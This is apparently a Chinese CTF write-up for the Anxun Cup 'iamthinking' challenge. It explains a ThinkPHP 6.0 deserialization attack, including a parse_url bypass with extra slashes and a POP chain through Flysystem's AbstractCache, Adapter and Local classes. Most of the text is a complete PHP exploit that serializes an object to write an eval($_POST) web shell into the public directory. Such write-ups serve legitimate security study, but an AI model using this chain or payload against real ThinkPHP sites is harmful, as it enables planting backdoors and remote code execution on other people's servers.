安洵杯-iamthinking
thinkphp6.0的反序列化
1 | class Index extends BaseController |
parse_url绕过
用http://xxx///public/index.php/index/index?payload=O
即可绕过
thinkphp6.0 pop chain
任意文件写入
一开始找的一个利用file_put_contents写文件的pop chain,不过buu上的环境好像没有写文件的权限,所以用不了。。
简单记录一下思路:
AbstractCache
抽象类存在__destruct
,会调用save()
方法,因此去寻找继承了AbstractCache
并实现了save()
的类- 找到了
Adapter
类,其save()
方法的实现这里的1
2
3
4
5
6
7
8
9
10
11public function save()
{
$config = new Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}getForStorage()
和BUUCTF_2020新春红包题1是一样的,通过$this->cache
即可控制contents
- 接下来就去寻找拥有
has
,update
,write
方法的类,找到了Local
类,其write方法的实现:可以看到使用了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19public function write($path, $contents, Config $config)
{
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));
if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
return false;
}
$type = 'file';
$result = compact('contents', 'type', 'size', 'path');
if ($visibility = $config->get('visibility')) {
$result['visibility'] = $visibility;
$this->setVisibility($path, $visibility);
}
return $result;
}file_put_contents
进行写文件 - exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
require __DIR__.'/vendor/autoload.php';
use League\Flysystem\Cached\Storage\AbstractCache;
use League\Flysystem\Adapter\Local;
use League\Flysystem\AdapterInterface;
use League\Flysystem\Config;
class Adapter extends AbstractCache
{
/**
* @var AdapterInterface An adapter
*/
protected $adapter;
/**
* @var string the file to cache to
*/
protected $file;
/**
* @var int|null seconds until cache expiration
*/
protected $expire = null;
/**
* Constructor.
*
* @param AdapterInterface $adapter adapter
* @param string $file the file to cache to
* @param int|null $expire seconds until cache expiration
*/
// public function __construct(AdapterInterface $adapter, $file, $expire = null)
public function __construct($expire = null)
{
// $this->adapter = $adapter;
// $this->file = $file;
$this->setExpire($expire);
$this->autosave = false;
$this->adapter = new Local('./public/');
$this->cache = ["<?php eval(\$_POST['a']); ?>","<?php phpinfo(); ?>"];
$this->file = 'LionTree.php';
}
/**
* Set the expiration time in seconds.
*
* @param int $expire relative expiration time
*/
protected function setExpire($expire)
{
if ($expire) {
$this->expire = $this->getTime($expire);
}
}
/**
* Get expiration time in seconds.
*
* @param int $time relative expiration time
*
* @return int actual expiration time
*/
protected function getTime($time = 0)
{
return intval(microtime(true)) + $time;
}
/**
* {@inheritdoc}
*/
public function setFromStorage($json)
{
list($cache, $complete, $expire) = json_decode($json, true);
if (! $expire || $expire > $this->getTime()) {
$this->cache = $cache;
$this->complete = $complete;
} else {
$this->adapter->delete($this->file);
}
}
/**
* {@inheritdoc}
*/
public function load()
{
if ($this->adapter->has($this->file)) {
$file = $this->adapter->read($this->file);
if ($file && !empty($file['contents'])) {
$this->setFromStorage($file['contents']);
}
}
}
/**
* {@inheritdoc}
*/
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]);
}
/**
* {@inheritdoc}
*/
public function save()
{
$config = new Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
$o = new Adapter();
echo urlencode(serialize($o));
RCE
懒得写了。。